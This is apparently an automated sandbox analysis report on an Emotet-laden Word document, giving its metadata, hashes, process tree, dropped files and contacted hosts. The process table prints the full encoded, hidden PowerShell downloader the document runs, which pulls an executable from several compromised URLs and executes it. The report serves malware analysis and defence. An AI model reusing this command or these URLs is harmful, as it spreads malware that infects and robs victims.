File name: | Archivo_30-11-2019 8118887 |
Full analysis: | https://app.any.run/tasks/5f4fadae-db9c-40be-bc1d-c127f99677a9 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 02, 2019, 20:19:01 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Non et porro., Author: Sascha Mcks, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Nov 29 20:11:00 2019, Last Saved Time/Date: Fri Nov 29 20:11:00 2019, Number of Pages: 1, Number of Words: 58, Number of Characters: 332, Security: 0 |
MD5: | 9BC0BE61620DB8ED4ED97C6EA5C12403 |
SHA1: | DB362AE22BAAA7B5F40B89DED774AF948DA39632 |
SHA256: | 39D000E47A2AD2034305D75EB29CC0E405152B9CB2B4789F744BFE10FB5D675F |
SSDEEP: | 6144:CarvtjsRnwZoj2k4ctGiL3HJkvyD7bbp2dLr:CarvtjsRnwZojpQitka7bt2dLr |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Forms 2.0 Form |
---|---|
CompObjUserTypeLen: | 25 |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 389 |
Paragraphs: | 1 |
Lines: | 2 |
Company: | - |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
Characters: | 332 |
Words: | 58 |
Pages: | 1 |
ModifyDate: | 2019:11:29 20:11:00 |
CreateDate: | 2019:11:29 20:11:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | Sascha Möcks |
Subject: | - |
Title: | Non et porro. |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
236 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Archivo_30-11-2019 8118887.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
584 | powershell -w hidden -en JABXAHgAZwB1AGwAegBvAGcAYQBmAGMAbwB3AD0AJwBOAG0AdgByAHIAdgBiAGkAYgBjAHQAcgBlACcAOwAkAEkAYwBsAHAAbABnAG8AeAB0AHkAIAA9ACAAJwA0ADIAMAAnADsAJABCAHcAdABuAGsAeQB3AGQAbAA9ACcATABjAGEAeABzAGcAawBiAGsAJwA7ACQAWAB6AGwAcQBqAGgAZgByAHAAawB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABJAGMAbABwAGwAZwBvAHgAdAB5ACsAJwAuAGUAeABlACcAOwAkAFcAYgB1AG8AZgBzAHMAaQBrAD0AJwBBAGIAcgBjAHEAbABvAHEAcwAnADsAJABBAGQAYQBhAGYAagBuAGsAagA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAHQALgBXAGUAYgBDAGwASQBlAE4AVAA7ACQAQQBnAHEAZABjAHoAbQBvAD0AJwBoAHQAdABwAHMAOgAvAC8AZQBsAGQAbwBkAGUAcwBpAGcAbgAuAGMAbwBtAC8AZQBsAGQAbwAvAG0AZAA0AGIAaAAxADcAMAA0AC8AKgBoAHQAdABwAHMAOgAvAC8AYwBiAGQAZQByAG0AYQBwAGwAdQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBjADcAMQBsADAAYgAxADEAOAA4ADQALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGUAbgAuAHYAbgAvAGQAdQBwAC0AaQBuAHMAdABhAGwAbABlAHIALwBwAGwAdQA3ADYALwAqAGgAdAB0AHAAcwA6AC8ALwBrAGIAYwBhAG4AbgBhAGIAaQBzAC4AYwBpAGkAcAAtAGMAaQBzAC4AYwBvAC8AYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AcgBzADYANAAwADIANQAvACoAaAB0AHQAcABzADoALwAvAGUAZABhAHAAdAAuAGUAZAB1AGMAYQB0AGkAbwBuAC8AYwBhAGwAZQBuAGQAYQByAC8AaAA3ADAANQA4ADgALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQATgBxAGYAYgBlAGIAawB0AGoAagA9ACcAQQBzAHMAdgB0AGQAbABjAHYAbQBlAGMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEQAawBjAG0AagBuAHEAZQBvAGkAYwBsACAAaQBuACAAJABBAGcAcQBkAGMAegBtAG8AKQB7AHQAcgB5AHsAJABBAGQAYQBhAGYAagBuAGsAagAuACIARABvAFcAYABOAGwATwBBAEQAYABGAEkAYABsAEUAIgAoACQARABrAGMAbQBqAG4AcQBlAG8AaQBjAGwALAAgACQAWAB6AGwAcQBqAGgAZgByAHAAawB1ACkAOwAkAFAAcQB6AG0AdABmAGEAawBuAD0AJwBEAG4AcgB5AHEAbQB4AHQAaABxACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQAWAB6AGwAcQBqAGgAZgByAHAAawB1ACkALgAiAEwAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA3ADUANAAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAdABgAEEAcgB0ACIAKAAkAFgAegBsAHEAagBoAGYAcgBwAGsAdQApADsAJABWAG4AaABkAHEAYQBtAGQAZAB4AGwAPQAnAFcAcABiAHUAcQBlAG8AbQBwAHAAdABlACcAOwBiAHIAZQBhAGsAOwAkAEcAaQByAHEAZgBzAGoAcgA9ACcAVwB0AG4AcwBmAGEAcQBmAGUAdgBwAGkAcwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABFAGoAZABmAHgAbgB6AGwAPQAnAFUAbABoAGYAYgBrAGYAagBjACcA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE00F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\632DA7A5.wmf | — | |
MD5:— | SHA256:— | |||
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\993A4162.wmf | — | |
MD5:— | SHA256:— | |||
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\60945DFB.wmf | — | |
MD5:— | SHA256:— | |||
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\327DC7C0.wmf | — | |
MD5:— | SHA256:— | |||
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2FB9A4C1.wmf | — | |
MD5:— | SHA256:— | |||
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7AEB43CE.wmf | — | |
MD5:— | SHA256:— | |||
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9A148577.wmf | — | |
MD5:— | SHA256:— | |||
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8D7310C.wmf | — | |
MD5:— | SHA256:— | |||
236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FAA4459D.wmf | — | |
MD5:— | SHA256:— |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
584 | powershell.exe | 167.71.125.50:443 | cbdermaplus.com | — | US | unknown |
584 | powershell.exe | 138.197.76.248:443 | kbcannabis.ciip-cis.co | Digital Ocean, Inc. | US | unknown |
584 | powershell.exe | 68.65.123.230:443 | eldodesign.com | Namecheap, Inc. | US | suspicious |
584 | powershell.exe | 66.42.58.139:443 | ben.vn | — | US | unknown |
— | — | 167.71.125.50:443 | cbdermaplus.com | — | US | unknown |
584 | powershell.exe | 91.199.212.52:80 | crt.usertrust.com | Comodo CA Ltd | GB | suspicious |
584 | powershell.exe | 52.27.184.35:443 | edapt.education | Amazon.com, Inc. | US | unknown |
Domain | IP | Reputation |
---|---|---|
eldodesign.com |
| suspicious |
cbdermaplus.com |
| unknown |
ben.vn |
| unknown |
kbcannabis.ciip-cis.co |
| unknown |
edapt.education |
| unknown |
crt.usertrust.com |
| whitelisted |